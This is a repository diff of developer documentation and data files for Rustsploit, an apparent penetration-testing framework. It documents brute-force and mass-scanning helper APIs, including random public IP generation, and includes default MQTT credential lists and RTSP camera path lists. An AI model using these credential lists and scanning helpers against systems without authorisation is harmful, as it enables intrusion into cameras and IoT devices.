|
||||
|
||||
#### `cfg_prompt_int_range(key, msg, default, min, max) → Result<i64>`
|
||||
|
||||
Integer prompt with range validation.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_int_range;
|
||||
|
||||
let threads = cfg_prompt_int_range("threads", "Number of threads", 10, 1, 100)?;
|
||||
let delay = cfg_prompt_int_range("delay_ms", "Delay between attempts (ms)", 50, 0, 60000)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
| `default` | `i64` | Default value |
|
||||
| `min` | `i64` | Minimum allowed value |
|
||||
| `max` | `i64` | Maximum allowed value |
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_default(key, msg, default) → Result<String>`
|
||||
|
||||
Generic string prompt with a default value.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_default;
|
||||
|
||||
let method = cfg_prompt_default("http_method", "HTTP method", "GET")?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
| `default` | `&str` | Default value when empty |
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_port(key, msg, default) → Result<u16>`
|
||||
|
||||
Port number prompt. Validates range 1–65535.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_port;
|
||||
|
||||
let port = cfg_prompt_port("port", "Target port", 22)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
| `default` | `u16` | Default port number |
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_output_file(key, msg, default) → Result<String>`
|
||||
|
||||
Output filename prompt. **Forces basename only** — strips any directory path to prevent traversal. Rejects hidden files (starting with `.`) and filenames over 255 chars.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_output_file;
|
||||
|
||||
let output = cfg_prompt_output_file("output_file", "Output file", "results.txt")?;
|
||||
// output is guaranteed to be a safe basename like "results.txt"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_wordlist(key, msg) → Result<String>`
|
||||
|
||||
Wordlist file prompt. Validates the file exists, rejects path traversal and unsafe paths (same security as `cfg_prompt_existing_file`). Priority: custom_prompts > global_options > interactive stdin.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_wordlist;
|
||||
|
||||
let wordlist = cfg_prompt_wordlist("wordlist", "Path to wordlist file").await?;
|
||||
let lines = load_lines(&wordlist)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key for API mode |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
|
||||
**Errors** in API mode if key is missing (required field). Also errors if the file does not exist.
|
||||
|
||||
---
|
||||
|
||||
### Complete Module Integration Example
|
||||
|
||||
Here's a typical module using all the core utils together:
|
||||
|
||||
```rust
|
||||
use crate::utils::{
|
||||
load_lines, normalize_target,
|
||||
cfg_prompt_required, cfg_prompt_yes_no, cfg_prompt_existing_file,
|
||||
cfg_prompt_int_range, cfg_prompt_default, cfg_prompt_port,
|
||||
cfg_prompt_output_file, cfg_prompt_wordlist,
|
||||
};
|
||||
|
||||
pub async fn run(target: &str) -> anyhow::Result<()> {
|
||||
let target = normalize_target(target)?;
|
||||
|
||||
// Gather config — works in both shell and API mode
|
||||
let port = cfg_prompt_port("port", "Target port", 22)?;
|
||||
let user_file = cfg_prompt_existing_file("user_wordlist", "Username wordlist")?;
|
||||
let pass_file = cfg_prompt_existing_file("pass_wordlist", "Password wordlist")?;
|
||||
let threads = cfg_prompt_int_range("threads", "Threads", 10, 1, 100)? as usize;
|
||||
let delay = cfg_prompt_int_range("delay_ms", "Delay (ms)", 50, 0, 60000)? as u64;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false)?;
|
||||
let output = cfg_prompt_output_file("output_file", "Output file", "results.txt")?;
|
||||
|
||||
// Load wordlists
|
||||
let users = load_lines(&user_file)?;
|
||||
let passwords = load_lines(&pass_file)?;
|
||||
|
||||
println!("[*] Targeting {} with {} users × {} passwords", target, users.len(), passwords.len());
|
||||
// ... bruteforce logic ...
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## `crate::modules::creds::utils` — Credential Module Utilities
|
||||
|
||||
Import path:
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceStats, is_subnet_target, parse_subnet, subnet_host_count,
|
||||
generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions,
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `BruteforceStats`
|
||||
|
||||
Thread-safe statistics tracker for bruteforce modules. Uses atomics for counters and a `Mutex<HashMap>` for error categorization. Create one per module run and share via `Arc`.
|
||||
|
||||
```rust
|
||||
use std::sync::Arc;
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
|
||||
// In each worker task:
|
||||
let stats = Arc::clone(&stats);
|
||||
tokio::spawn(async move {
|
||||
match attempt_login(&host, &user, &pass).await {
|
||||
Ok(true) => stats.record_success(),
|
||||
Ok(false) => stats.record_failure(),
|
||||
Err(e) => stats.record_error(format!("{}", e)).await,
|
||||
}
|
||||
|
||||
// Show live progress (prints inline with \r)
|
||||
stats.print_progress();
|
||||
});
|
||||
|
||||
// After all tasks complete:
|
||||
stats.print_final().await;
|
||||
```
|
||||
|
||||
#### Methods
|
||||
|
||||
| Method | Async | Description |
|
||||
|--------|-------|-------------|
|
||||
| `BruteforceStats::new()` | No | Create a new stats tracker (starts the timer) |
|
||||
| `.record_success()` | No | Increment total + successful counters |
|
||||
| `.record_failure()` | No | Increment total + failed counters |
|
||||
| `.record_error(msg)` | **Yes** | Increment total + error counters, log error message |
|
||||
| `.record_retry()` | No | Increment retry counter |
|
||||
| `.print_progress()` | No | Print inline progress bar (`\r` overwrite) |
|
||||
| `.print_final()` | **Yes** | Print full statistics summary with top 5 errors |
|
||||
|
||||
---
|
||||
|
||||
### `is_subnet_target(target) → bool`
|
||||
|
||||
Check if a target string is CIDR notation (e.g., `192.168.8.0/21`). Use this to branch between single-host and subnet-scan logic.
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::is_subnet_target;
|
||||
|
||||
if is_subnet_target(&target) {
|
||||
// Iterate subnet
|
||||
} else {
|
||||
// Single host
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `parse_subnet(target) → Result<IpNetwork>`
|
||||
|
||||
Parse a CIDR string into an `ipnetwork::IpNetwork`. **Does NOT allocate a Vec** — callers iterate lazily with `.iter()`, making it safe for any prefix size (`/0` through `/32`).
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::parse_subnet;
|
||||
|
||||
let network = parse_subnet("192.168.1.0/24")?;
|
||||
for ip in network.iter() {
|
||||
println!("Scanning {}", ip);
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `subnet_host_count(net) → u128`
|
||||
|
||||
Returns the number of host IPs in a network. Useful for progress display and ETA calculations.
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::{parse_subnet, subnet_host_count};
|
||||
|
||||
let net = parse_subnet("10.0.0.0/8")?;
|
||||
println!("Scanning {} hosts", subnet_host_count(&net));
|
||||
// → "Scanning 16777216 hosts"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `generate_random_public_ip(exclusions) → IpAddr`
|
||||
|
||||
Generates a random IPv4 address that is **not** in any excluded range. Automatically skips `10.x.x.x`, `127.x.x.x`, and `0.x.x.x` in addition to the provided exclusion list. Used by mass-scanning modules (Camxploit, etc.).
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::{generate_random_public_ip, parse_exclusions};
|
||||
|
||||
let exclusions = parse_exclusions(&[
|
||||
"10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private
|
||||
"100.64.0.0/10", // CGNAT
|
||||
"224.0.0.0/4", // Multicast
|
||||
]);
|
||||
|
||||
let ip = generate_random_public_ip(&exclusions);
|
||||
println!("Random target: {}", ip);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `parse_exclusions(cidrs) → Vec<IpNetwork>`
|
||||
|
||||
Parses an array of CIDR strings into `IpNetwork` objects for use with `generate_random_public_ip`. Invalid CIDRs are silently skipped.
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::parse_exclusions;
|
||||
|
||||
let excluded = parse_exclusions(&["10.0.0.0/8", "192.168.0.0/16", "not-valid"]);
|
||||
// excluded.len() == 2 (invalid entry silently dropped)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `is_ip_checked(ip, state_file) → bool` / `mark_ip_checked(ip, state_file)`
|
||||
|
||||
Persistent scan-state tracking. Prevents re-scanning the same IP across multiple runs by writing `checked: <ip>` lines to a state file.
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::{is_ip_checked, mark_ip_checked};
|
||||
|
||||
let state_file = "mqtt_cidr_results.txt";
|
||||
|
||||
for ip in network.iter() {
|
||||
if is_ip_checked(&ip, state_file).await {
|
||||
continue; // Already scanned
|
||||
}
|
||||
|
||||
// ... scan the IP ...
|
||||
|
||||
mark_ip_checked(&ip, state_file).await;
|
||||
}
|
||||
```
|
||||
|
||||
| Function | Async | Description |
|
||||
|----------|-------|-------------|
|
||||
| `is_ip_checked(ip, state_file)` | **Yes** | Returns `true` if IP was previously marked. Creates the state file if missing. |
|
||||
| `mark_ip_checked(ip, state_file)` | **Yes** | Appends `checked: <ip>` to the state file. |
|
||||
|
||||
> **Note:** Both functions accept any type implementing `ToString` for the IP parameter.
|
||||
|
||||
---
|
||||
|
||||
## Complete Credential Module Example
|
||||
|
||||
Putting both utility modules together in a real bruteforce module:
|
||||
|
||||
```rust
|
||||
use std::sync::Arc;
|
||||
use crate::utils::{
|
||||
load_lines, normalize_target,
|
||||
cfg_prompt_port, cfg_prompt_existing_file,
|
||||
cfg_prompt_int_range, cfg_prompt_yes_no, cfg_prompt_output_file,
|
||||
};
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceStats, is_subnet_target, parse_subnet, subnet_host_count,
|
||||
generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions,
|
||||
};
|
||||
|
||||
pub async fn run(target: &str) -> anyhow::Result<()> {
|
||||
let target = normalize_target(target)?;
|
||||
let port = cfg_prompt_port("port", "Target port", 1883)?;
|
||||
let user_file = cfg_prompt_existing_file("user_wordlist", "Username wordlist")?;
|
||||
let pass_file = cfg_prompt_existing_file("pass_wordlist", "Password wordlist")?;
|
||||
let threads = cfg_prompt_int_range("threads", "Threads", 10, 1, 200)? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose?", false)?;
|
||||
let output = cfg_prompt_output_file("output_file", "Output file", "results.txt")?;
|
||||
|
||||
let users = load_lines(&user_file)?;
|
||||
let passwords = load_lines(&pass_file)?;
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
|
||||
if is_subnet_target(&target) {
|
||||
let network = parse_subnet(&target)?;
|
||||
println!("[*] Subnet scan: {} hosts", subnet_host_count(&network));
|
||||
for ip in network.iter() {
|
||||
if is_ip_checked(&ip, &output).await { continue; }
|
||||
// ... bruteforce ip ...
|
||||
mark_ip_checked(&ip, &output).await;
|
||||
}
|
||||
} else {
|
||||
// ... single host bruteforce ...
|
||||
}
|
||||
|
||||
stats.print_final().await;
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## `crate::config` — Framework Configuration
|
||||
|
||||
Import path:
|
||||
|
||||
```rust
|
||||
use crate::config::{
|
||||
GLOBAL_CONFIG, GlobalConfig, TargetConfig,
|
||||
ModuleConfig, get_module_config, set_module_config, clear_module_config,
|
||||
results_dir,
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `GLOBAL_CONFIG` (static `GlobalConfig`)
|
||||
|
||||
Thread-safe singleton that holds the current target. Set by the shell (`set target`) or CLI (`--target`). Module code reads it but rarely needs to write to it.
|
||||
|
||||
```rust
|
||||
use crate::config::GLOBAL_CONFIG;
|
||||
|
||||
// Check if a target is set
|
||||
if !GLOBAL_CONFIG.has_target() {
|
||||
println!("No target set!");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Read the target as a string
|
||||
let target = GLOBAL_CONFIG.get_target().unwrap();
|
||||
println!("Targeting: {}", target);
|
||||
```
|
||||
|
||||
#### `GlobalConfig` Methods
|
||||
|
||||
| Method | Returns | Description |
|
||||
|--------|---------|-------------|
|
||||
| `.set_target(target)` | `Result<()>` | Set global target (IP, hostname, or CIDR). Validates input. |
|
||||
| `.get_target()` | `Option<String>` | Get the target as a display string |
|
||||
| `.get_single_target_ip()` | `Result<String>` | Get single IP; for subnets returns the network address |
|
||||
| `.has_target()` | `bool` | Check if any target is set |
|
||||
| `.is_subnet()` | `bool` | `true` if the target is a CIDR subnet |
|
||||
| `.get_target_subnet()` | `Option<IpNetwork>` | Returns the `IpNetwork` if target is a subnet |
|
||||
| `.get_target_size()` | `Option<u64>` | Number of IPs (1 for single, 2^(32-prefix) for subnets) |
|
||||
| `.clear_target()` | `()` | Unset the target |
|
||||
|
||||
#### `TargetConfig` Enum
|
||||
|
||||
```rust
|
||||
use crate::config::TargetConfig;
|
||||
|
||||
pub enum TargetConfig {
|
||||
Single(String), // Single IP or hostname
|
||||
Subnet(IpNetwork), // CIDR subnet
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `ModuleConfig` & API Prompt Keys
|
||||
|
||||
`ModuleConfig` bridges modules to the API. When the API server receives a `/api/run` request, it populates a `ModuleConfig` with the JSON `"prompts"` object. The `cfg_prompt_*` functions in `src/utils/prompt.rs` read these values instead of prompting stdin.
|
||||
|
||||
#### Struct Fields
|
||||
|
||||
```rust
|
||||
pub struct ModuleConfig {
|
||||
pub port: Option<u16>,
|
||||
pub username_wordlist: Option<String>,
|
||||
pub password_wordlist: Option<String>,
|
||||
pub concurrency: Option<usize>,
|
||||
pub stop_on_success: Option<bool>,
|
||||
pub save_results: Option<bool>,
|
||||
pub output_file: Option<String>,
|
||||
pub verbose: Option<bool>,
|
||||
pub combo_mode: Option<bool>,
|
||||
pub custom_prompts: HashMap<String, String>, // ← cfg_prompt_* reads from here
|
||||
pub api_mode: bool, // ← prevents stdin fallback
|
||||
}
|
||||
```
|
||||
|
||||
#### Helper Functions
|
||||
|
||||
| Function | Description |
|
||||
|----------|-------------|
|
||||
| `get_module_config()` | Get a clone of the current config (safe to call from any module) |
|
||||
| `set_module_config(config)` | Set the config (called by API server before module execution) |
|
||||
| `clear_module_config()` | Reset to defaults (called after module execution) |
|
||||
|
||||
```rust
|
||||
use crate::config::get_module_config;
|
||||
|
||||
let config = get_module_config();
|
||||
if config.api_mode {
|
||||
// Running via API — don't expect stdin
|
||||
}
|
||||
if let Some(port) = config.port {
|
||||
// Use pre-configured port
|
||||
}
|
||||
```
|
||||
|
||||
#### Standardized API Prompt Keys
|
||||
|
||||
When building API requests, use these standardized keys in the `"prompts"` JSON object:
|
||||
|
||||
**Common keys (most modules):**
|
||||
|
||||
| Key | Type | Description |
|
||||
|-----|------|-------------|
|
||||
| `port` | u16 | Target service port |
|
||||
| `timeout` | int | Connection timeout (seconds or ms) |
|
||||
| `verbose` | y/n | Verbose output |
|
||||
| `save_results` | y/n | Save results to file |
|
||||
| `output_file` | string | Output filename |
|
||||
| `concurrency` | int | Concurrent threads/tasks |
|
||||
| `threads` | int | Alias for concurrency |
|
||||
| `wordlist` | path | Path to wordlist file |
|
||||
| `target_file` | path | File containing targets |
|
||||
| `mode` | string | Operation mode (1, 2, 3, etc.) |
|
||||
|
||||
**Scanner-specific keys** (see full list in `config.rs` doc comments):
|
||||
- Port Scanner: `port_range`, `scan_method`, `show_only_open`
|
||||
- Dir Brute: `scan_mode`, `delay_ms`, `random_agent`, `use_https`
|
||||
- Sequential Fuzzer: `min_length`, `max_length`, `charset`, `encoding`
|
||||
- API Endpoint Scanner: `output_dir`, `use_spoofing`, `enable_delete`, `modules`
|
||||
|
||||
---
|
||||
|
||||
### `results_dir() → PathBuf`
|
||||
|
||||
Returns `~/.rustsploit/results/`, creating it if needed. Use this when saving module output in API mode.
|
||||
|
||||
```rust
|
||||
use crate::config::results_dir;
|
||||
|
||||
let out_path = results_dir().join("scan_output.txt");
|
||||
std::fs::write(&out_path, results)?;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Constants
|
||||
|
||||
| Constant | Value | Purpose |
|
||||
|----------|-------|---------|
|
||||
| `MAX_TARGET_LENGTH` | 2048 | Maximum target string length |
|
||||
| `MAX_MODULE_PATH_LENGTH` | 512 | Maximum module path length |
|
||||
| `MAX_COMMAND_LENGTH` | 8192 | Maximum command/input length |
|
||||
| `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
|
||||
| `MAX_HOSTNAME_LENGTH` | 253 | Maximum hostname length (config.rs) |
|
||||
|
||||
---
|
||||
|
||||
## `crate::utils::network` — Network Utilities
|
||||
|
||||
Import path:
|
||||
|
||||
```rust
|
||||
use crate::utils::network::{
|
||||
build_http_client, build_http_client_with, HttpClientOpts,
|
||||
tcp_connect_addr, tcp_connect_str, tcp_connect, tcp_port_open,
|
||||
blocking_tcp_connect, udp_bind, quick_honeypot_check,
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `build_http_client(timeout) → Result<Client>`
|
||||
|
||||
Creates a standard `reqwest::Client` with sensible defaults (danger-accept invalid certs, no redirect limit). Use this instead of hand-rolling `reqwest::Client::builder()`.
|
||||
|
||||
```rust
|
||||
use crate::utils::network::build_http_client;
|
||||
|
||||
let client = build_http_client(Duration::from_secs(10))?;
|
||||
let resp = client.get(&url).send().await?;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `build_http_client_with(timeout, opts) → Result<Client>`
|
||||
|
||||
Extended HTTP client builder with additional options.
|
||||
|
||||
```rust
|
||||
use crate::utils::network::{build_http_client_with, HttpClientOpts};
|
||||
|
||||
let client = build_http_client_with(Duration::from_secs(10), HttpClientOpts {
|
||||
cookie_store: true,
|
||||
follow_redirects: true,
|
||||
user_agent: Some("Mozilla/5.0".to_string()),
|
||||
..HttpClientOpts::default()
|
||||
})?;
|
||||
```
|
||||
|
||||
#### `HttpClientOpts` Fields
|
||||
|
||||
| Field | Type | Default | Description |
|
||||
|-------|------|---------|-------------|
|
||||
| `cookie_store` | `bool` | `false` | Enable cookie jar |
|
||||
| `follow_redirects` | `bool` | `false` | Follow HTTP redirects |
|
||||
| `user_agent` | `Option<String>` | `None` | Custom User-Agent header |
|
||||
| `default_headers` | `Option<HeaderMap>` | `None` | Default headers for all requests |
|
||||
|
||||
---
|
||||
|
||||
### `tcp_connect_addr(addr, timeout) → io::Result<TcpStream>`
|
||||
|
||||
Async TCP connection to a `SocketAddr` with timeout and optional source port binding. Preferred over raw `TcpStream::connect` — respects global source port setting.
|
||||
|
||||
```rust
|
||||
use crate::utils::network::tcp_connect_addr;
|
||||
|
||||
let stream = tcp_connect_addr(addr, Duration::from_secs(5)).await?;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `tcp_connect_str(addr_str, timeout) → io::Result<TcpStream>`
|
||||
|
||||
Async TCP connection from a `"host:port"` string. Resolves DNS and connects.
|
||||
|
||||
---
|
||||
|
||||
### `tcp_port_open(ip, port, timeout) → bool`
|
||||
|
||||
Quick async check if a TCP port is open.
|
||||
|
||||
---
|
||||
|
||||
### `blocking_tcp_connect(addr, timeout) → io::Result<TcpStream>`
|
||||
|
||||
Synchronous TCP connection for use in `spawn_blocking` contexts.
|
||||
|
||||
---
|
||||
|
||||
### `udp_bind(target_ip) → io::Result<UdpSocket>`
|
||||
|
||||
Binds a UDP socket to the appropriate address family (IPv4 or IPv6) for the target.
|
||||
|
||||
---
|
||||
|
||||
### `quick_honeypot_check(ip) → bool`
|
||||
|
||||
Fast honeypot detection — probes common ports and returns `true` if 11+ respond (likely honeypot).
|
||||
|
||||
---
|
||||
|
||||
## `crate::utils::privilege` — Privilege Checks
|
||||
|
||||
### `require_root(context) → Result<()>`
|
||||
|
||||
Call at the top of `run()` in modules that need raw sockets (ICMP, SYN scan, packet crafting). Returns a clean error message if the current euid is not root.
|
||||
|
||||
```rust
|
||||
use crate::utils::privilege::require_root;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
require_root("ICMP raw socket")?;
|
||||
// ... raw socket operations ...
|
||||
}
|
||||
```
|
||||
|
||||
Used by: DoS modules (icmp_flood, syn_ack_flood, null_syn_exhaustion, dns_amplification, etc.), ping_sweep scanner.
|
||||
|
||||
---
|
||||
|
||||
## Extending Utils
|
||||
|
||||
Add new reusable helpers to `src/utils/` (the appropriate submodule: `prompt.rs`, `sanitize.rs`, `target.rs`, `network.rs`, or `modules.rs`), `creds/utils.rs`, or `config.rs` rather than copy-pasting into individual modules. Common candidates:
|
||||
- HTTP header templates
|
||||
- Response fingerprinting helpers
|
||||
- Common error formatters
|
||||
- Credential loaders with streaming support
|
||||
@@ -0,0 +1,27 @@
|
||||
# Rustsploit Developer Guide
|
||||
|
||||
> ⚠️ **This file has been superseded by the new wiki documentation.**
|
||||
> Please use the links below for up-to-date information.
|
||||
|
||||
---
|
||||
|
||||
## Wiki Index
|
||||
|
||||
| Document | Description |
|
||||
|----------|-------------|
|
||||
| [Home](Home.md) | Full documentation index |
|
||||
| [Getting Started](Getting-Started.md) | Installation, build, Docker |
|
||||
| [Interactive Shell](Interactive-Shell.md) | Shell walkthrough and commands |
|
||||
| [CLI Reference](CLI-Reference.md) | All CLI flags and examples |
|
||||
| [API Server](API-Server.md) | REST API startup, auth, hardening |
|
||||
| [API Usage Examples](API-Usage-Examples.md) | Practical curl workflows |
|
||||
| [Module Catalog](Module-Catalog.md) | All modules by category |
|
||||
| [Module Development](Module-Development.md) | How to author new modules |
|
||||
| [Security & Validation](Security-Validation.md) | Input validation, security patterns |
|
||||
| [Credential Modules Guide](Credential-Modules-Guide.md) | Brute-force module best practices |
|
||||
| [Exploit Modules Guide](Exploit-Modules-Guide.md) | Exploit module best practices |
|
||||
| [Utilities & Helpers](Utilities-Helpers.md) | `utils.rs` public API |
|
||||
| [Testing & QA](Testing-QA.md) | Build checks and smoke tests |
|
||||
| [Changelog](Changelog.md) | Release notes |
|
||||
| [Contributing](Contributing.md) | Fork guide and PR checklist |
|
||||
| [Credits](Credits.md) | Authors and acknowledgements |
|
||||
@@ -0,0 +1,15 @@
|
||||
public
|
||||
guest
|
||||
sysadmin
|
||||
hivemq
|
||||
emonpimqtt2016
|
||||
mosquitto
|
||||
mqttpassword
|
||||
password
|
||||
[auto-generated]
|
||||
[empty]
|
||||
[printed on PLC]
|
||||
password
|
||||
password
|
||||
password
|
||||
bitnami
|
||||
@@ -0,0 +1,15 @@
|
||||
admin
|
||||
guest
|
||||
sysadmin@thingsboard.org
|
||||
admin
|
||||
emonpi
|
||||
mosquitto
|
||||
mqttuser
|
||||
admin
|
||||
homeassistant
|
||||
DVES_USER
|
||||
admin
|
||||
roger
|
||||
sub_client
|
||||
pub_client
|
||||
user
|
||||
@@ -0,0 +1,48 @@
|
||||
# 📚 Rustsploit Data Files
|
||||
|
||||
This directory contains reference lists and helper payloads consumed by modules under `src/modules/**`. Keep this README up to date whenever a new list is added so operators understand the expected format and typical usage.
|
||||
|
||||
---
|
||||
|
||||
## Available Files
|
||||
|
||||
| File / Directory | Used By | Description |
|
||||
|------------------|---------|-------------|
|
||||
| `rtsp-paths.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Candidate RTSP paths to brute force when enumerating stream URLs (e.g., `/live.sdp`, `/Streaming/channels/101`). One entry per line; comments can be added with `#` at the start of a line. |
|
||||
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables "advanced headers," the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
|
||||
| `telnet-default/` | `creds/generic/telnet_bruteforce.rs` | Default credentials for telnet brute forcing. |
|
||||
| `telnet-default/usernames.txt` | Telnet bruteforce | Common usernames for telnet authentication (root, admin, user, etc.). |
|
||||
| `telnet-default/passwords.txt` | Telnet bruteforce | Common passwords for telnet authentication. |
|
||||
| `telnet-default/empty.txt` | Telnet bruteforce | Placeholder file for configurations that don't require a password list. |
|
||||
|
||||
---
|
||||
|
||||
## Contributing Lists
|
||||
|
||||
1. **Naming:** Use lowercase and hyphens (`my-new-list.txt`) to remain compatible across platforms.
|
||||
2. **Format:** Prefer plain UTF-8 text. Comment lines should start with `#` or `//` so loaders can skip them.
|
||||
3. **Documentation:** Update this README with a row describing the file, the consuming module, and expected contents.
|
||||
4. **Usage in modules:** Reference lists with relative paths or prompt the user for the filename. Most modules expect the user to supply the path (allowing custom lists), but shipping defaults in this directory helps bootstrap new users.
|
||||
5. **Attribution:** If a list leverages community sources (e.g., SecLists), note that in the table and ensure licenses permit redistribution.
|
||||
|
||||
---
|
||||
|
||||
## Ideas for Future Lists
|
||||
|
||||
- `ftp-default-creds.txt` for anonymous login checks
|
||||
- `telnet-banners.txt` to fingerprint devices before brute forcing
|
||||
- `http-admin-panels.txt` for web interface discovery scanners
|
||||
- Vendor-specific RTSP or ONVIF endpoint lists
|
||||
- `snmp-community-strings.txt` for SNMP brute forcing
|
||||
- `fortinet-users.txt` for Fortinet SSL VPN testing
|
||||
- `ssh-default-creds.txt` for common SSH credentials
|
||||
|
||||
## Security Notes
|
||||
|
||||
When contributing wordlists:
|
||||
- **No malicious payloads:** Lists should contain credentials/paths only, not exploit code
|
||||
- **Respect file size limits:** Keep lists under 10MB (framework limit for file reading)
|
||||
- **UTF-8 encoding:** Use UTF-8 text encoding for all files
|
||||
- **Line format:** One entry per line, use `#` or `//` for comments
|
||||
|
||||
Pull requests welcome—please include both the data file and an entry here.
|
||||
@@ -0,0 +1,176 @@
|
||||
|
||||
0
|
||||
0video1
|
||||
1
|
||||
1.AMP
|
||||
11:1main
|
||||
1cif
|
||||
1stream1
|
||||
11
|
||||
12
|
||||
4
|
||||
CAM_ID.password.mp2
|
||||
CH001.sdp
|
||||
GetData.cgi
|
||||
H264
|
||||
HighResolutionVideo
|
||||
HighResolutionvideo
|
||||
Image.jpg
|
||||
LowResolutionVideo
|
||||
MJPEG.cgi
|
||||
MediaInputh264
|
||||
MediaInputh264stream_1
|
||||
MediaInputmpeg4
|
||||
ONVIFMediaInput
|
||||
ONVIFchannel1
|
||||
PSIAStreamingchannels0?videoCodecType=H.264
|
||||
PSIAStreamingchannels1
|
||||
PSIAStreamingchannels1?videoCodecType=MPEG4
|
||||
PSIAStreamingchannelsh264
|
||||
Possible
|
||||
ROHchannel11
|
||||
StreamingChannels1
|
||||
StreamingChannels101
|
||||
StreamingChannels102
|
||||
StreamingChannels103
|
||||
StreamingChannels2
|
||||
StreamingUnicastchannels101
|
||||
Streamingchannels101
|
||||
Video?Codec=MPEG4&Width=720&Height=576&Fps=30
|
||||
VideoInput1h2641
|
||||
access_code
|
||||
access_name_for_stream_1_to_5
|
||||
av0_0
|
||||
av0_1
|
||||
av2
|
||||
avn=2
|
||||
axis-mediamedia.amp
|
||||
axis-mediamedia.amp?videocodec=h264&resolution=640x480
|
||||
cam
|
||||
camrealmonitor
|
||||
camrealmonitor?channel=1&subtype=00
|
||||
camrealmonitor?channel=1&subtype=01
|
||||
camrealmonitor?channel=1&subtype=1
|
||||
cam0_0
|
||||
cam0_1
|
||||
cam1h264
|
||||
cam1h264multicast
|
||||
cam1mjpeg
|
||||
cam1mpeg4
|
||||
cam1onvif-h264
|
||||
camera.stm
|
||||
cgi-binviewervideo.jpg?resolution=640x480
|
||||
ch0
|
||||
ch0.h264
|
||||
ch001.sdp
|
||||
ch01.264
|
||||
ch0_0.h264
|
||||
ch0_unicast_firststream
|
||||
ch0_unicast_secondstream
|
||||
channel1
|
||||
dms.jpg
|
||||
dms?nowprofileid=2
|
||||
h264
|
||||
h264.sdp
|
||||
h264ch1sub
|
||||
h264media.amp
|
||||
h264Preview_01_main
|
||||
h264Preview_01_sub
|
||||
cam4mpeg4
|
||||
h264_vga.sdp
|
||||
image.jpg
|
||||
image.mpg
|
||||
imagejpeg.cgi
|
||||
imgmedia.sav
|
||||
imgvideo.asf
|
||||
imgvideo.sav
|
||||
ioImage1
|
||||
ipcam.sdp
|
||||
ipcamstream.cgi?nowprofileid=2
|
||||
ipcam_h264.sdp
|
||||
jpgimage.jpg?size=3
|
||||
live
|
||||
live.sdp
|
||||
liveav0
|
||||
livech0
|
||||
livech00_0
|
||||
livech00_1
|
||||
livech1
|
||||
livech2
|
||||
liveh264
|
||||
livempeg4
|
||||
live0.264
|
||||
live1.264
|
||||
live1.sdp
|
||||
live2.sdp
|
||||
live3.sdp
|
||||
live_h264.sdp
|
||||
live_mpeg4.sdp
|
||||
livestream
|
||||
livestream
|
||||
media
|
||||
media.amp
|
||||
mediamedia.amp
|
||||
mediavideo1
|
||||
mediavideo2
|
||||
mediavideo3
|
||||
medias1
|
||||
mjpeg.cgi
|
||||
mjpegmedia.smp
|
||||
mp4
|
||||
mpeg4
|
||||
mpeg41media.amp
|
||||
mpeg4media.amp
|
||||
mpeg4media.amp?resolution=640x480
|
||||
mpeg4media.smp
|
||||
mpeg4cif
|
||||
